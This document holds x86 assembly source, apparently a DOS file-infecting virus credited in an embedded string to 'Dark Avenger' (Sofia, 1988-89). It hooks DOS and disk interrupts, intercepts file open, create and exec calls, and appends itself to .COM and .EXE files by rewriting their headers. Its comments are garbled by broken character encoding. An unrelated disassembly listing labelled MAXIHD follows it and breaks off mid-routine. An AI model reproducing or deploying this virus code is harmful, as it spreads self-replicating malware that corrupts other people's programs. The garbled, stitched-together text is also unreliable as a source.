; ЏАЈ ЈЇЏКЋ­Ѕ­ЈЅ, ЊЎЏЈА ­Ѕ, А ЇЃЋЅІЄ ­Ѕ ЈЋЈ БКЇЄ Ђ ­Ѕ Ј ­ПЊЎЈ ЄАГЃЈ ЎЏЅА ЖЈЈ.
; ˆЇЏКЋ­Ѕ­ЈЅВЎ ­  ДГ­ЊЖЈЈ 0 Ј 26h ЏАЅЄЈЇЂЈЊЂ  ЋЎИЈ ЏЎБЋЅЄЈЖЈ.

int_21:
       push    bp
       mov     bp,sp
       push    [bp+6]
       popf
       pop     bp
       pushf
       call    ontop
       cmp     ax,2521h
       je      set_int_21
       cmp     ax,2527h
       je      set_int_27
       cmp     ax,3521h
       je      get_int_21
       cmp     ax,3527h
       je      get_int_27
       cld
       cmp     ax,4b00h
       je      exec
       cmp     ah,3ch
       je      create
       cmp     ah,3eh
       je      close
       cmp     ah,5bh
       jne     not_create
create:
       cmp     word ptr cs:[filehndl],0;ŒЎІЅ Ј Є  Ѕ 0 ЏАЈ ЎВЂЎАЅ­ Д ЉЋ
       jne     dont_touch
       call    see_name
       jnz     dont_touch
       call    alloc
       popf
       call    function
       jc      int_exit
       pushf
       push    es
       push    cs
       pop     es
       push    si
       push    di
       push    cx
       push    ax
       mov     di,offset filehndl
       stosw
       mov     si,dx
       mov     cx,65
move_name:
       lodsb
       stosb
       test    al,al
       jz      all_ok
       loop    move_name
       mov     word ptr es:[filehndl],cx
all_ok:
       pop     ax
       pop     cx
       pop     di
       pop     si
       pop     es
go_exit:
       popf
       jnc     int_exit                ;JMP
close:
       cmp     bx,word ptr cs:[filehndl]
       jne     dont_touch
       test    bx,bx
       jz      dont_touch
       call    alloc
       popf
       call    function
       jc      int_exit
       pushf
       push    ds
       push    cs
       pop     ds
       push    dx
       mov     dx,offset filehndl+2
       call    do_file
       mov     word ptr cs:[filehndl],0
       pop     dx
       pop     ds
       jmp     go_exit
not_create:
       cmp     ah,3dh
       je      touch
       cmp     ah,43h
       je      touch
       cmp     ah,56h                  ;‡  БКІ ЋЅ­ЈЅ ЊЎЌ ­Є­ЈП Ј­ВЅАЏАЅВ ВЎА
       jne     dont_touch              ;­Ѕ ЈЇЏЎЋЇГЂ  В ЇЈ ДГ­ЊЖЈП
touch:
       call    see_name
       jnz     dont_touch
       call    do_file
dont_touch:
       call    alloc
       popf
       call    function
int_exit:
       pushf
       push    ds
       call    get_chain
       mov     byte ptr ds:[0],'Z'
       pop     ds
       popf
dummy   proc    far                     ;???
       ret     2
dummy   endp

; АЎЂЅАПЂ  Є ЋЈ Д ЉЋКВ Ѕ .COM ЈЋЈ .EXE.  Ѕ БЅ ЈЇЂЈЊЂ  ЏАЈ ЈЇЏКЋ­Ѕ­ЈЅ ­  Д ЉЋ.

see_name:
       push    ax
       push    si
       mov     si,dx
scan_name:
       lodsb
       test    al,al
       jz      bad_name
       cmp     al,'.'
       jnz     scan_name
       call    get_byte
       mov     ah,al
       call    get_byte
       cmp     ax,'co'
       jz      pos_com
       cmp     ax,'ex'
       jnz     good_name
       call    get_byte
       cmp     al,'e'
       jmp     short good_name
pos_com:
       call    get_byte
       cmp     al,'m'
       jmp     short good_name
bad_name:
       inc     al
good_name:
       pop     si
       pop     ax
       ret

; АЅЎЁА ЇГЂ  Ђ lowercase (ЏЎЄЏАЎЃА ЌЈВЅ Б  ЂЅЋЈЊЎ ­ЅЙЎ).

get_byte:
       lodsb
       cmp     al,'C'
       jc      byte_got
       cmp     al,'Y'
       jnc     byte_got
       add     al,20h
byte_got:
       ret

; ˆЇЂЈЊЂ  ЎАЈЃЈ­ Ћ­ЈП INT 21h (Ї  Є  ­Ѕ БЅ Ї ЖЈЊЋЈ).

function:
       pushf
       call    dword ptr cs:[save_int_21]
       ret

; “АЅІЄ  ЂКЏАЎБ  ­  ЈЇЏКЋ­ЈЌ Д ЉЋ.

do_file:
       push    ds                      ;‡ Џ ЇЂ  АЅЃЈБВАЈВЅ Ђ БВЅЊ 
       push    es
       push    si
       push    di
       push    ax
       push    bx
       push    cx
       push    dx
       mov     si,ds
       xor     ax,ax
       mov     ds,ax
       les     ax,ds:[24h*4]           ;‡ Џ ЇЂ  INT 13h Ј INT 24h Ђ БВЅЊ 
       push    es                      ;Ј ЃЈ ЏЎЄЌЅ­П Б ЊЎЈВЎ ВАПЁЂ 
       push    ax
       mov     ds:[24h*4],offset int_24
       mov     ds:[24h*4+2],cs
       les     ax,ds:[13h*4]
       mov     word ptr cs:[save_int_13],ax
       mov     word ptr cs:[save_int_13+2],es
       mov     ds:[13h*4],offset int_13
       mov     ds:[13h*4+2],cs
       push    es
       push    ax
       mov     ds,si
       xor     cx,cx                   ;“АЅІЄ  ЂКЏАЎБ  ­  Read-only Д ЉЋЎЂЅВЅ
       mov     ax,4300h
       call    function
       mov     bx,cx
       and     cl,0feh
       cmp     cl,bl
       je      dont_change
       mov     ax,4301h
       call    function
       stc
dont_change:
       pushf
       push    ds
       push    dx
       push    bx
       mov     ax,3d02h                ;‘ЅЃ  ЂЅЗЅ ЌЎІЅЌ ­  БЏЎЊЎЉБВЂЈЅ Є 
       call    function                ;ЎВЂЎАЈЌ Д ЉЋ 
       jc      cant_open
       mov     bx,ax
       call    disease
       mov     ah,3eh                  ;‡ ВЂ АП­Ѕ
       call    function
cant_open:
       pop     cx
       pop     dx
       pop     ds
       popf
       jnc     no_update
       mov     ax,4301h                ;‚КЇБВ ­ЎЂПЂ ­Ѕ ­   ВАЈЁГВЈВЅ ­  Д ЉЋ ,
       call    function                ; ЊЎ Б  ЁЈЋЈ ЏАЎЌЅ­Ѕ­Ј (Ї  ЂБЅЊЈ БЋГЗ Љ)
no_update:
       xor     ax,ax                   ;‚КЇБВ ­ЎЂПЂ ­Ѕ ­  INT 13h Ј INT 24h
       mov     ds,ax
       pop     ds:[13h*4]
       pop     ds:[13h*4+2]
       pop     ds:[24h*4]
       pop     ds:[24h*4+2]
       pop     dx                      ;‚КЇБВ ­ЎЂПЂ ­Ѕ ­  АЅЃЈБВАЈВЅ
       pop     cx
       pop     bx
       pop     ax
       pop     di
       pop     si
       pop     es
       pop     ds
       ret

; ’ ЇЈ ЏЎЄЏАЎЃА Ќ  ЂКАИЈ ЗЅА­ В  А ЁЎВ .

disease:
       push    cs
       pop     ds
       push    cs
       pop     es
       mov     dx,offset top_save      ;АЎЗЈВ ­Ѕ ­  ­ З ЋЎВЎ ­  Д ЉЋ 
       mov     cx,18h
       mov     ah,3fh
       int     21h
       xor     cx,cx
       xor     dx,dx
       mov     ax,4202h                ;‡ Џ ЇЂ ­Ѕ ­  ЄКЋІЈ­ В  ­  Д ЉЋ 
       int     21h
       mov     word ptr [top_save+1ah],dx
       cmp     ax,offset my_size       ;Ј ВАПЁЂ ЋЎ Є  ЁКЄЅ top_file
       sbb     dx,0
       jc      stop_fuck_2             ;Œ ЋЊЈ Д ЉЋЎЂЅ ­Ѕ БЅ Ї А ЇПЂ В
       mov     word ptr [top_save+18h],ax
       cmp     word ptr [top_save],5a4dh
       jne     com_file
       mov     ax,word ptr [top_save+8]
       add     ax,word ptr [top_save+16h]
       call    mul_16
       add     ax,word ptr [top_save+14h]
       adc     dx,0
       mov     cx,dx
       mov     dx,ax
       jmp     short see_sick
com_file:
       cmp     byte ptr [top_save],0e9h
       jne     see_fuck
       mov     dx,word ptr [top_save+1]
       add     dx,103h
       jc      see_fuck
       dec     dh
       xor     cx,cx

; КЋ­  ЏАЎЂЅАЊ  Є ЋЈ Ї  Д ЉЋ  Ѕ Ї ЋЅЏЅ­ ЊЎЉВЎ ВАПЁЂ 

see_sick:
       sub     dx,startup-copyright
       sbb     cx,0
       mov     ax,4200h
       int     21h
       add     ax,offset top_file
       adc     dx,0
       cmp     ax,word ptr [top_save+18h]
       jne     see_fuck
       cmp     dx,word ptr [top_save+1ah]
       jne     see_fuck
       mov     dx,offset top_save+1ch
       mov     si,dx
       mov     cx,offset my_size
       mov     ah,3fh
       int     21h
       jc      see_fuck
       cmp     cx,ax
       jne     see_fuck
       xor     di,di
next_byte:
       lodsb
       scasb
       jne     see_fuck
       loop    next_byte
stop_fuck_2:
       ret
see_fuck:
       xor     cx,cx                   ;ЎЇЈЖЈЎ­ЈА ­Ѕ Ђ ЊА П ­  Д ЉЋ 
       xor     dx,dx
       mov     ax,4202h
       int     21h
       cmp     word ptr [top_save],5a4dh
       je      fuck_exe
       add     ax,offset aux_size+200h ;„  ­Ѕ БВ ­Ѕ .COM Д ЉЋ  Ќ­ЎЃЎ ЃЎЋПЌ
       adc     dx,0
       je      fuck_it
       ret

; ˆЇА Ђ­ПЂ  ­  ЃА ­ЈЖ  ­  Џ А ЃА Д Ї  .EXE Д ЉЋЎЂЅВЅ.  ’ЎЂ  Ѕ  ЁБЎЋОВ­Ў ­Ѕ­ГІ­Ў.

fuck_exe:
       mov     dx,word ptr [top_save+18h]
       neg     dl
       and     dx,0fh
       xor     cx,cx
       mov     ax,4201h
       int     21h
       mov     word ptr [top_save+18h],ax
       mov     word ptr [top_save+1ah],dx
fuck_it:
       mov     ax,5700h                ;‡ Џ ЇЂ ­Ѕ ­  Є В В  ­  Д ЉЋ 
       int     21h
       pushf
       push    cx
       push    dx
       cmp     word ptr [top_save],5a4dh
       je      exe_file                ;Œ­ЎЃЎ ГЌ­Ў, ­ПЌ  ЙЎ
       mov     ax,100h
       jmp     short set_adr
exe_file:
       mov     ax,word ptr [top_save+14h]
       mov     dx,word ptr [top_save+16h]
set_adr:
       mov     di,offset call_adr
       stosw
       mov     ax,dx
       stosw
       mov     ax,word ptr [top_save+10h]
       stosw
       mov     ax,word ptr [top_save+0eh]
       stosw
       mov     si,offset top_save      ;’ЎЂ  Є Ђ  ЂКЇЌЎІ­ЎБВ ­  А Ї­Ј ЂАЅЄ­Ј
       movsb                           ;ЏАЎЃА ЌЈ Є  ЂКЇБВ ­ЎЂПВ ВЎЗ­Ў
       movsw                           ;ЎАЈЃЈ­ Ћ­ В  ЄКЋІЈ­  ­  .EXE Д ЉЋ 
       xor     dx,dx
       mov     cx,offset top_file
       mov     ah,40h
       int     21h                     ;‡ ЏЈБЂ ­Ѕ ­  ЏАЎЃА Ќ В 
       jc      go_no_fuck              ;(­Ѕ ВА БЈА ЉВЅ ВГЊ)
       xor     cx,ax
       jnz     go_no_fuck
       mov     dx,cx
       mov     ax,4200h
       int     21h
       cmp     word ptr [top_save],5a4dh
       je      do_exe
       mov     byte ptr [top_save],0e9h
       mov     ax,word ptr [top_save+18h]
       add     ax,startup-copyright-3
       mov     word ptr [top_save+1],ax
       mov     cx,3
       jmp     short write_header
go_no_fuck:
       jmp     short no_fuck

; ŠЎ­БВАГЈА ­Ѕ ­  header-  ­  .EXE Д ЉЋ 

do_exe:
       call    mul_hdr
       not     ax
       not     dx
       inc     ax
       jne     calc_offs
       inc     dx
calc_offs:
       add     ax,word ptr [top_save+18h]
       adc     dx,word ptr [top_save+1ah]
       mov     cx,10h
       div     cx
       mov     word ptr [top_save+14h],startup-copyright
       mov     word ptr [top_save+16h],ax
       add     ax,(offset top_file-offset copyright-1)/16+1
       mov     word ptr [top_save+0eh],ax
       mov     word ptr [top_save+10h],100h
       add     word ptr [top_save+18h],offset top_file
       adc     word ptr [top_save+1ah],0
       mov     ax,word ptr [top_save+18h]
       and     ax,1ffh
       mov     word ptr [top_save+2],ax
       pushf
       mov     ax,word ptr [top_save+19h]
       shr     byte ptr [top_save+1bh],1
       rcr     ax,1
       popf
       jz      update_len
       inc     ax
update_len:
       mov     word ptr [top_save+4],ax
       mov     cx,18h
write_header:
       mov     dx,offset top_save
       mov     ah,40h
       int     21h                     ;‡ ЏЈБЂ ­Ѕ ­  ­ З ЋЎВЎ ­  Д ЉЋ 
no_fuck:
       pop     dx
       pop     cx
       popf
       jc      stop_fuck
       mov     ax,5701h                ;‚КЇБВ ­ЎЂПЂ ­Ѕ ­  ЎАЈЃЈ­ Ћ­ В  Є В 
       int     21h
stop_fuck:
       ret

; ˆЇЏЎЋЇГЂ  БЅ ЎВ ЏЎЄЏАЎЃА ЌЈВЅ Ї  ЎЁА ЁЎВЊ  ­  INT 21h Ј INT 27h ЂКЂ ЂАКЇЊ 
; БКБ БЊАЈЂ ­ЅВЎ ­  ЏАЎЃА Ќ В  Ђ Џ ЌЅВВ  ЎВ ЕЎА , ЊЎЈВЎ ­ПЌ  ­ГІЄ  Є  П
; ЂЈІЄ В.  –ПЋ В  В ЇЈ БЈБВЅЌ  Ѕ  ЁБГАЄ­  Ј ЃЋГЏ Ђ  Ј Ѕ ЎЙЅ ЅЄЈ­ ЈЇВЎЗ­ЈЊ
; ­  ЊЎ­ДЋЈЊВ­Ј БЈВГ ЖЈЈ.

alloc:
       push    ds
       call    get_chain
       mov     byte ptr ds:[0],'M'
       pop     ds

; ŽБЈЃГАПЂ  ЎБВ Ђ ­ЅВЎ ­  ЏАЎЃА Ќ В  ­  ЂКАЕ  ­  ЂЅАЈЃ В  ЏАЎЖЅБЈ,
; ЏАЅЕЂ ­ ЋЈ INT 21h (ЅВЎ ЎЙЅ ЅЄЈ­ ЈЇВЎЗ­ЈЊ ­  ЊЎ­ДЋЈЊВЈ).

ontop:
       push    ds
       push    ax
       push    bx
       push    dx
       xor     bx,bx
       mov     ds,bx
       lds     dx,ds:[21h*4]
       cmp     dx,offset int_21
       jne     search_segment
       mov     ax,ds
       mov     bx,cs
       cmp     ax,bx
       je      test_complete

; АЅВКАБЂ  БЅЃЌЅ­В  ­  ­ ВА Џ­ЈЊ  ЏАЅЕЂ ­ Ћ INT 21h, Ї  Є  ­ ЌЅАЈ ЊКЄЅ ВЎЉ
; Ѕ Ї Џ ЇЈЋ БВ А В  БВЎЉ­ЎБВ Ј Є  П ЏЎЄЌЅ­Ј.  ‡  INT 27h ­Ѕ БЅ ЏА ЂЈ ­ЈЙЎ.

       xor     bx,bx
search_segment:
       mov     ax,[bx]
       cmp     ax,offset int_21
       jne     search_next
       mov     ax,cs
       cmp     ax,[bx+2]
       je      got_him
search_next:
       inc     bx
       jne     search_segment
       je      return_control
got_him:
       mov     ax,word ptr cs:[save_int_21]
       mov     [bx],ax
       mov     ax,word ptr cs:[save_int_21+2]
       mov     [bx+2],ax
       mov     word ptr cs:[save_int_21],dx
       mov     word ptr cs:[save_int_21+2],ds
       xor     bx,bx

; ˆ Є  ­Ѕ ЃЎ Џ ЇЈ Ђ БКЙЈП БЅЃЌЅ­В, ВЎЂ  ЂБЅ ЅЄ­Ў ­ПЌ  Є  ЌГ ЏЎЌЎЃ­Ѕ

return_control:
       mov     ds,bx
       mov     ds:[21h*4],offset int_21
       mov     ds:[21h*4+2],cs
test_complete:
       pop     dx
       pop     bx
       pop     ax
       pop     ds
       ret

;  ЌЈА ­Ѕ ­  БЅЃЌЅ­В  ­  ЏЎБЋЅЄ­ЈП MCB

get_chain:
       push    ax
       push    bx
       mov     ah,62h
       call    function
       mov     ax,cs
       dec     ax
       dec     bx
next_blk:
       mov     ds,bx
       stc
       adc     bx,ds:[3]
       cmp     bx,ax
       jc      next_blk
       pop     bx
       pop     ax
       ret

; “Ќ­ЎІЅ­ЈЅ ЏЎ 16

mul_hdr:
       mov     ax,word ptr [top_save+8]
mul_16:
       mov     dx,10h
       mul     dx
       ret

       db      'This program was written in the city of Sofia '
       db      '(C) 1988-89 Dark Avenger',0

; ŽЁА ЁЎВЊ  ­  INT 13h.
; ˆЇЂЈЊЂ  ЎАЈЃЈ­ Ћ­ЈВЅ ЂЅЊВЎАЈ Ђ BIOS,  ЊЎ БВ Ђ  ЄГЌ  Ї  Ї ЏЈБ.

int_13:
       cmp     ah,3
       jnz     subfn_ok
       cmp     dl,80h
       jnc     hdisk
       db      0eah                    ;JMP XXXX:YYYY
my_size:                                ;--- „ЎВГЊ БЅ БА Ђ­ПЂ  Б ЎАЈЃЈ­ Ћ 
disk:
       dd      0
hdisk:
       db      0eah                    ;JMP XXXX:YYYY
fdisk:
       dd      0
subfn_ok:
       db      0eah                    ;JMP XXXX:YYYY
save_int_13:
       dd      0
call_adr:
       dd      100h

stack_pointer:
       dd      0                       ;ŽАЈЃЈ­ Ћ­  БВЎЉ­ЎБВ ­  SS:SP
my_save:
       int     20h                     ;ŽАЈЃЈ­ Ћ­Ў БКЄКАІ ­ЈЅ ­  ЏКАЂЈВЅ
       nop                             ;3 Ё ЉВ  ЎВ Д ЉЋ 
top_file:                               ;--- „ЎВГЊ БЅ Ї ЏЈБЂ  ЂКЂ Д ЉЋЎЂЅВЅ
filehndl    equ $
filename    equ filehndl+2              ;ГДЅА Ї  ЈЌЅ ­  ВЅЊГЙЎ ЎВЂЎАЅ­ЈП Д ЉЋ
save_int_27 equ filename+65             ;ŽАЈЃЈ­ Ћ­  БВЎЉ­ЎБВ ­  INT 27h
save_int_21 equ save_int_27+4           ;ŽАЈЃЈ­ Ћ­  БВЎЉ­ЎБВ ­  INT 21h
aux_size    equ save_int_21+4           ;--- „ЎВГЊ БЅ ЏАЅЌЅБВЂ  Ђ Џ ЌЅВВ 
top_save    equ save_int_21+4           ; З ЋЎ ­  ЁГДЅА , БКЄКАІ Й:
                                       ; - КАЂЈВЅ 24 Ё ЉВ  ЏАЎЗЅВЅ­Ј ЎВ Д ЉЋ 
                                       ; - „КЋІЈ­ В  ­  Д ЉЋ  (4 Ё ЉВ )
                                       ; - ЎБЋЅЄ­ЈВЅ Ё ЉВЎЂЅ ЎВ Д ЉЋ 
                                       ;   (Б ЄКЋІЈ­  my_size)
top_bz      equ top_save-copyright
my_bz       equ my_size-copyright
code    ends
       end





PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             MAXIHD                                   лл
;лл                                                                      лл
;лл      Created:   1-Jan-80                                             лл
;лл      Passes:    5          Analysis Flags on: H                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

DATA_1E         EQU     74H                     ; (0000:0074=0A4H)
DATA_2E         EQU     78H                     ; (0000:0078=22H)
DATA_3E         EQU     7CH                     ; (0000:007C=0)
DATA_4E         EQU     80H                     ; (0000:0080=0F5H)
DATA_5E         EQU     84H                     ; (0000:0084=9CEH)
DATA_6E         EQU     86H                     ; (0000:0086=13C7H)
DATA_7E         EQU     88H                     ; (0000:0088=723H)
DATA_8E         EQU     8AH                     ; (0000:008A=23EAH)
DATA_9E         EQU     8CH                     ; (0000:008C=0A70H)
DATA_10E        EQU     8EH                     ; (0000:008E=23EAH)
DATA_11E        EQU     94H                     ; (0000:0094=192FH)
DATA_12E        EQU     98H                     ; (0000:0098=198CH)
DATA_13E        EQU     9AH                     ; (0000:009A=27DH)
DATA_14E        EQU     9EH                     ; (0000:009E=27DH)
DATA_15E        EQU     232H                    ; (0000:0232=0)
DATA_16E        EQU     234H                    ; (0000:0234=0)
DATA_17E        EQU     236H                    ; (0000:0236=0)
DATA_18E        EQU     23CH                    ; (0000:023C=0)
DATA_19E        EQU     458H                    ; (0000:0458=0)
DATA_20E        EQU     45AH                    ; (0000:045A=0)
DATA_21E        EQU     464H                    ; (0000:0464=2903H)
DATA_22E        EQU     4A4H                    ; (0000:04A4=0)
DATA_23E        EQU     4A6H                    ; (0000:04A6=0)
DATA_24E        EQU     4A8H                    ; (0000:04A8=0)
DATA_25E        EQU     2                       ; (7FC4:0002=0)
DATA_26E        EQU     2CH                     ; (7FC4:002C=0)
DATA_27E        EQU     94H                     ; (7FC4:0094=0)
DATA_28E        EQU     9EH                     ; (7FC4:009E=0)
DATA_29E        EQU     1D6H                    ; (7FC4:01D6=0CD57H)
DATA_30E        EQU     1D8H                    ; (7FC4:01D8=21H)
DATA_31E        EQU     232H                    ; (7FC4:0232=2FB9H)
DATA_32E        EQU     37EH                    ; (7FC4:037E=50FFH)
DATA_33E        EQU     3A6H                    ; (7FC4:03A6=8D50H)
DATA_34E        EQU     3A8H                    ; (7FC4:03A8=0AE46H)
DATA_35E        EQU     4A4H                    ; (7FC4:04A4=0AC26H)
DATA_36E        EQU     4A6H                    ; (7FC4:04A6=8C40H)
DATA_37E        EQU     4A8H                    ; (7FC4:04A8=87C5H)
DATA_123E       EQU     0FF67H                  ; (8134:FF67=0)
DATA_124E       EQU     0FF70H                  ; (8134:FF70=0)
DATA_126E       EQU     0FF6AH                  ; (817F:FF6A=0)
DATA_127E       EQU     0FF6CH                  ; (817F:FF6C=0)
DATA_128E       EQU     0FF6EH                  ; (817F:FF6E=0)
DATA_129E       EQU     0FF6FH                  ; (817F:FF6F=0)
DATA_130E       EQU     0FF70H                  ; (817F:FF70=0)
DATA_131E       EQU     0FF72H                  ; (817F:FF72=0)
DATA_132E       EQU     0FF75H                  ; (817F:FF75=0)
DATA_133E       EQU     0FF76H                  ; (817F:FF76=0)
DATA_134E       EQU     0FF78H                  ; (817F:FF78=0)
DATA_135E       EQU     0FF7BH                  ; (817F:FF7B=0)
DATA_136E       EQU     0FF7CH                  ; (817F:FF7C=0)

;-------------------------------------------------------------- SEG_A  ----

SEG_A           SEGMENT PARA PUBLIC
               ASSUME CS:SEG_A , DS:SEG_A , SS:STACK_SEG_C


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_1           PROC    NEAR
SUB_1           ENDP


;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                       PROGRAM ENTRY POINT
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл


MAXIHD          PROC    FAR

start:
               MOV     DX,SEG SEG_B
               MOV     CS:DATA_38,DX           ; (7FD4:01F8=0)
               MOV     AH,30H                  ; '0'
               INT     21H                     ; DOS Services  ah=function 30h
                                               ;  get DOS version number ax
               MOV     BP,DS:DATA_25E          ; (7FC4:0002=0)
               MOV     BX,DS:DATA_26E          ; (7FC4:002C=0)
               MOV     DS,DX
               assume  ds:SEG_B
               MOV     DATA_77,AX              ; (8134:0092=0)
               MOV     DATA_76,ES              ; (8134:0090=0)
               MOV     WORD PTR DATA_73+2,BX   ; (8134:008C=0)
               MOV     DATA_84,BP              ; (8134:00AC=0)
               MOV     DATA_79,0FFFFH          ; (8134:0096=0)
               CALL    SUB_3                   ; (0162)
               LES     DI,DATA_73              ; (8134:008A=0) Load 32 bit ptr
               MOV     AX,DI
               MOV     BX,AX
               MOV     CX,7FFFH
LOC_2:
               CMP     WORD PTR ES:[DI],3738H
               JNE     LOC_3                   ; Jump if not equal
               MOV     DX,ES:[DI+2]
               CMP     DL,3DH                  ; '='
               JNE     LOC_3                   ; Jump if not equal
               AND     DH,0DFH
               INC     DATA_79                 ; (8134:0096=0)
               CMP     DH,59H                  ; 'Y'
               JNE     LOC_3                   ; Jump if not equal
               INC     DATA_79                 ; (8134:0096=0)
LOC_3:
               REPNE   SCASB                   ; Rept zf=0+cx>0 Scan es:[di] for al
               JCXZ    LOC_6                   ; Jump if cx=0
               INC     BX
               CMP     ES:[DI],AL
               JNE     LOC_2                   ; Jump if not equal
               OR      CH,80H
               NEG     CX
               MOV     WORD PTR DATA_73,CX     ; (8134:008A=0)
               MOV     CX,1
               SHL     BX,CL                   ; Shift w/zeros fill
               ADD     BX,8
               AND     BX,0FFF8H
               MOV     DATA_75,BX              ; (8134:008E=0)
               MOV     DX,DS
               SUB     BP,DX
               MOV     DI,DATA_89              ; (8134:023A=1000H)
               CMP     DI,200H
               JAE     LOC_4                   ; Jump if above or =
               MOV     DI,200H
               MOV     DATA_89,DI              ; (8134:023A=1000H)
LOC_4:
               ADD     DI,4AAH
               JC      LOC_6                   ; Jump if carry Set
               ADD     DI,DATA_88              ; (8134:0238=0)
               JC      LOC_6                   ; Jump if carry Set
               MOV     CL,4
               SHR     DI,CL                   ; Shift w/zeros fill
               INC     DI
               CMP     BP,DI
               JB      LOC_6                   ; Jump if below
               CMP     DATA_89,0               ; (8134:023A=1000H)
               JE      LOC_5                   ; Jump if equal
               CMP     DATA_88,0               ; (8134:0238=0)
               JNE     LOC_7                   ; Jump if not equal
LOC_5:
               MOV     DI,1000H
               CMP     BP,DI
               JA      LOC_7                   ; Jump if above
               MOV     DI,BP
               JMP     SHORT LOC_7             ; (00C1)
LOC_6:
               JMP     LOC_10                  ; (01E2)
LOC_7:
               MOV     BX,DI
               ADD     BX,DX
               MOV     DATA_82,BX              ; (8134:00A4=0)
               MOV     DATA_83,BX              ; (8134:00A8=0)
               MOV     AX,DATA_76              ; (8134:0090=0)
               SUB     BX,AX
               MOV     ES,AX
               MOV     AH,4AH                  ; 'J'
               PUSH    DI
               INT     21H                     ; DOS Services  ah=function 4Ah
                                               ;  change mem allocation, bx=siz
               POP     DI
               SHL     DI,CL                   ; Shift w/zeros fill
               CLI                             ; Disable interrupts
               MOV     SS,DX
               MOV     SP,DI
               STI                             ; Enable interrupts
               XOR     AX,AX                   ; Zero register
               MOV     ES,CS:DATA_38           ; (7FD4:01F8=0)
               MOV     DI,464H
               MOV     CX,4AAH
               SUB     CX,DI
               REP     STOSB                   ; Rep while cx>0 Store al to es:[di]
               PUSH    CS
               CALL    WORD PTR DATA_117       ; (8134:0456=1D2H)
               CALL    SUB_12                  ; (0390)
               CALL    SUB_14                  ; (047B)
               MOV     AH,0
               INT     1AH                     ; Real time clock   ah=func 00h
                                               ;  get system timer count cx,dx
               MOV     DS:DATA_12E,DX          ; (0000:0098=198CH)
               MOV     DS:DATA_13E,CX          ; (0000:009A=27DH)
               CALL    WORD PTR DS:DATA_20E    ; (0000:045A=0)
               PUSH    WORD PTR DS:DATA_7E     ; (0000:0088=723H)
               PUSH    WORD PTR DS:DATA_6E     ; (0000:0086=13C7H)
               PUSH    WORD PTR DS:DATA_5E     ; (0000:0084=9CEH)
               CALL    SUB_6                   ; (01FA)
               PUSH    AX
               CALL    SUB_11                  ; (035B)

MAXIHD          ENDP

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_2           PROC    NEAR
               MOV     DS,CS:DATA_38           ; (7FD4:01F8=0)
               CALL    SUB_4                   ; (01A5)
               PUSH    CS
               CALL    WORD PTR DS:DATA_19E    ; (0000:0458=0)
               XOR     AX,AX                   ; Zero register
               MOV     SI,AX
               MOV     CX,2FH
               NOP
               CLD                             ; Clear direction

LOCLOOP_8:
               ADD     AL,[SI]
               ADC     AH,0
               INC     SI
               LOOP    LOCLOOP_8               ; Loop if cx > 0

               SUB     AX,0D37H
               NOP
               JZ      LOC_9                   ; Jump if zero
               MOV     CX,19H
               NOP
               MOV     DX,2FH
               CALL    SUB_5                   ; (01DA)
LOC_9:
               MOV     BP,SP
               MOV     AH,4CH                  ; 'L'
               MOV     AL,[BP+2]
               INT     21H                     ; DOS Services  ah=function 4Ch
                                               ;  terminate with al=return code
SUB_2           ENDP


;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                       External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

INT_00H_ENTRY   PROC    FAR
               MOV     CX,0EH
               NOP
               MOV     DX,48H
               JMP     LOC_11                  ; (01E9)
INT_00H_ENTRY   ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_3           PROC    NEAR
               PUSH    DS
               MOV     AX,3500H
               INT     21H                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               MOV     DATA_65,BX              ; (8134:0074=0)
               MOV     DATA_66,ES              ; (8134:0076=0)
               MOV     AX,3504H
               INT     21H                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               MOV     DATA_67,BX              ; (8134:0078=0)
               MOV     DATA_68,ES              ; (8134:007A=0)
               MOV     AX,3505H
               INT     21H                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               MOV     DATA_69,BX              ; (8134:007C=0)
               MOV     DATA_70,ES              ; (8134:007E=0)
               MOV     AX,3506H
               INT     21H                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               MOV     DATA_71,BX              ; (8134:0080=0)
               MOV     DATA_72,ES              ; (8134:0082=0)
               MOV     AX,2500H
               MOV     DX,CS
               MOV     DS,DX
               MOV     DX,158H
               INT     21H                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               POP     DS
               RETN
SUB_3           ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_4           PROC    NEAR
               PUSH    DS
               MOV     AX,2500H
               LDS     DX,DWORD PTR DS:DATA_1E ; (0000:0074=0F0A4H) Load 32 bit ptr
               INT     21H                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               POP     DS
               PUSH    DS
               MOV     AX,2504H
               LDS     DX,DWORD PTR DS:DATA_2E ; (0000:0078=522H) Load 32 bit ptr
               INT     21H                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               POP     DS
               PUSH    DS
               MOV     AX,2505H
               LDS     DX,DWORD PTR DS:DATA_3E ; (0000:007C=0) Load 32 bit ptr
               INT     21H                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               POP     DS
               PUSH    DS
               MOV     AX,2506H
               LDS     DX,DWORD PTR DS:DATA_4E ; (0000:0080=16F5H) Load 32 bit ptr
